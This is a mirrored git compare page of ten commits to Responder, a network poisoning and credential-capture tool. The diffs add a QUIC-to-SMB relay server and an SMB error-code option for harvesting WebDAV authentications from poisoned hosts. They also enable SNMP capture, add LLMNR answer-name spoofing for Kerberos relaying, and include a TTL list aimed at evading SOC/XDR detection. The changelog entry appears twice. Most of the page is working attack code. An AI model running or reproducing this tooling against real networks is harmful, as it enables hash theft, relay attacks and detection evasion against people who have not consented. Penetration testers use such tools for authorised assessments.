mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 04:31:30 +00:00
Compare commits
10 Commits
545137275f
...
58eb8731a5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
58eb8731a5 | ||
|
|
658480e0a5 | ||
|
|
a76ee47867 | ||
|
|
e346c01695 | ||
|
|
41ed7c4f4a | ||
|
|
ea820ab076 | ||
|
|
a0d1f03617 | ||
|
|
871cdffa97 | ||
|
|
e781559be0 | ||
|
|
6bf6887c49 |
32
CHANGELOG.md
32
CHANGELOG.md
@@ -1,3 +1,35 @@
|
||||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
@@ -173,6 +173,11 @@ Options:
|
||||
answer's canonical name is the same as the query.
|
||||
Changing this value is mainly useful when attempting
|
||||
to perform Kebreros relaying over HTTP.
|
||||
-E, --ErrorCode Changes the error code returned by the SMB server to
|
||||
STATUS_LOGON_FAILURE. By default, the status is
|
||||
STATUS_ACCESS_DENIED. Changing this value permits to
|
||||
obtain WebDAV authentications from the poisoned
|
||||
machines where the WebClient service is running.
|
||||
|
||||
|
||||
## Donation ##
|
||||
|
||||
@@ -8,6 +8,7 @@ NBTNS = On
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
QUIC = On
|
||||
RDP = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
@@ -20,7 +21,7 @@ DNS = On
|
||||
LDAP = On
|
||||
DCERPC = On
|
||||
WINRM = On
|
||||
SNMP = Off
|
||||
SNMP = On
|
||||
MQTT = On
|
||||
|
||||
; Custom challenge.
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import asyncio
|
||||
import optparse
|
||||
import ssl
|
||||
try:
|
||||
@@ -47,6 +48,7 @@ parser.add_option('--disable-ess', action="store_true", help="Force ESS
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
|
||||
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
@@ -361,6 +363,12 @@ def main():
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
|
||||
|
||||
if settings.Config.QUIC_On_Off:
|
||||
from servers.QUIC import start_quic_server
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
|
||||
|
||||
if settings.Config.Krb_On_Off:
|
||||
from servers.Kerberos import KerbTCP, KerbUDP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
||||
|
||||
@@ -239,9 +239,12 @@ def ParseSrcDSTAddr(data):
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
data = data.decode('latin-1')
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4]).encode('latin-1')
|
||||
IPPos = data.find(b"\x32\x04") + 2
|
||||
if IPPos == -1 or IPPos + 4 >= len(data):
|
||||
return None
|
||||
else:
|
||||
IP = data[IPPos:IPPos+4]
|
||||
return IP
|
||||
|
||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||
global DHCPClient
|
||||
|
||||
@@ -1 +1,2 @@
|
||||
aioquic
|
||||
netifaces>=0.10.4
|
||||
|
||||
168
servers/QUIC.py
Normal file
168
servers/QUIC.py
Normal file
@@ -0,0 +1,168 @@
|
||||
import asyncio
|
||||
import logging
|
||||
import ssl
|
||||
import argparse
|
||||
import netifaces
|
||||
from utils import *
|
||||
from aioquic.asyncio import serve
|
||||
from aioquic.asyncio.protocol import QuicConnectionProtocol
|
||||
from aioquic.quic.configuration import QuicConfiguration
|
||||
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
|
||||
|
||||
BUFFER_SIZE = 11000
|
||||
|
||||
def get_interface_ip(interface_name):
|
||||
"""Get the IP address of a network interface."""
|
||||
try:
|
||||
# Get address info for the specified interface
|
||||
addresses = netifaces.ifaddresses(interface_name)
|
||||
|
||||
# Get IPv4 address (AF_INET = IPv4)
|
||||
if netifaces.AF_INET in addresses:
|
||||
return addresses[netifaces.AF_INET][0]['addr']
|
||||
|
||||
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
|
||||
if netifaces.AF_INET6 in addresses:
|
||||
return addresses[netifaces.AF_INET6][0]['addr']
|
||||
|
||||
logging.error(f"[!] No IP address found for interface {interface_name}")
|
||||
return None
|
||||
except ValueError:
|
||||
logging.error(f"[!] Interface {interface_name} not found")
|
||||
return None
|
||||
|
||||
|
||||
class QUIC(QuicConnectionProtocol):
|
||||
def __init__(self, *args, target_address=None, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self.tcp_connections = {} # stream_id -> (reader, writer)
|
||||
self.target_address = target_address or "localhost"
|
||||
|
||||
def quic_event_received(self, event):
|
||||
if isinstance(event, StreamDataReceived):
|
||||
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
|
||||
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
|
||||
# Only try to close connections if we have any
|
||||
if self.tcp_connections:
|
||||
asyncio.create_task(self.close_all_tcp_connections())
|
||||
|
||||
async def handle_stream_data(self, stream_id, data):
|
||||
if stream_id not in self.tcp_connections:
|
||||
# Create a new TCP connection to the target interface:445
|
||||
try:
|
||||
reader, writer = await asyncio.open_connection(self.target_address, 445)
|
||||
self.tcp_connections[stream_id] = (reader, writer)
|
||||
|
||||
# Start task to read from TCP and write to QUIC
|
||||
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
|
||||
|
||||
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
|
||||
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
|
||||
return
|
||||
|
||||
# Forward data from QUIC to TCP
|
||||
try:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.write(data)
|
||||
await writer.drain()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error writing to TCP: {e}")
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def tcp_to_quic(self, stream_id, reader):
|
||||
try:
|
||||
while True:
|
||||
data = await reader.read(BUFFER_SIZE)
|
||||
if not data:
|
||||
break
|
||||
|
||||
self._quic.send_stream_data(stream_id, data)
|
||||
self.transmit()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error reading from TCP: {e}")
|
||||
finally:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def close_tcp_connection(self, stream_id):
|
||||
if stream_id in self.tcp_connections:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
del self.tcp_connections[stream_id]
|
||||
|
||||
async def close_all_tcp_connections(self):
|
||||
try:
|
||||
# Make a copy of the keys to avoid modification during iteration
|
||||
stream_ids = list(self.tcp_connections.keys())
|
||||
for stream_id in stream_ids:
|
||||
try:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
except KeyError:
|
||||
# Silently ignore if the stream ID no longer exists
|
||||
pass
|
||||
except Exception as e:
|
||||
# Catch any other exceptions that might occur
|
||||
logging.debug(f"[!] Error closing TCP connections: {e}")
|
||||
|
||||
async def start_quic_server(listen_interface, cert_path, key_path):
|
||||
# Configure QUIC
|
||||
configuration = QuicConfiguration(
|
||||
alpn_protocols=["smb"],
|
||||
is_client=False,
|
||||
)
|
||||
|
||||
# Load certificate and private key
|
||||
try:
|
||||
configuration.load_cert_chain(cert_path, key_path)
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
|
||||
return
|
||||
|
||||
# Resolve interfaces to IP addresses
|
||||
listen_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
listen_ip = get_interface_ip(listen_interface)
|
||||
if not listen_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
target_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
target_ip = get_interface_ip(listen_interface)
|
||||
if not target_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
# Start QUIC server with correct protocol factory
|
||||
server = await serve(
|
||||
host=listen_ip,
|
||||
port=443,
|
||||
configuration=configuration,
|
||||
create_protocol=lambda *args, **kwargs: QUIC(
|
||||
*args,
|
||||
target_address=target_ip,
|
||||
**kwargs
|
||||
)
|
||||
)
|
||||
|
||||
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
|
||||
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
|
||||
|
||||
# Keep the server running forever
|
||||
await asyncio.Future()
|
||||
|
||||
|
||||
def is_ip_address(address):
|
||||
"""Check if a string is a valid IP address."""
|
||||
import socket
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET, address)
|
||||
return True
|
||||
except socket.error:
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET6, address)
|
||||
return True
|
||||
except socket.error:
|
||||
return False
|
||||
@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
if settings.Config.ErrorCode:
|
||||
ntstatus="\x6d\x00\x00\xc0"
|
||||
else:
|
||||
ntstatus="\x22\x00\x00\xc0"
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.1.5.0'
|
||||
__version__ = 'Responder 3.1.6.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -124,6 +124,7 @@ class Settings:
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
|
||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||
@@ -173,6 +174,7 @@ class Settings:
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
self.ErrorCode = options.ErrorCode
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
|
||||
7
utils.py
7
utils.py
@@ -29,7 +29,12 @@ try:
|
||||
import netifaces
|
||||
except:
|
||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||
|
||||
|
||||
try:
|
||||
import aioquic
|
||||
except:
|
||||
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
|
||||
|
||||
from calendar import timegm
|
||||
|
||||
def if_nametoindex2(name):
|
||||
|
||||
Reference in New Issue
Block a user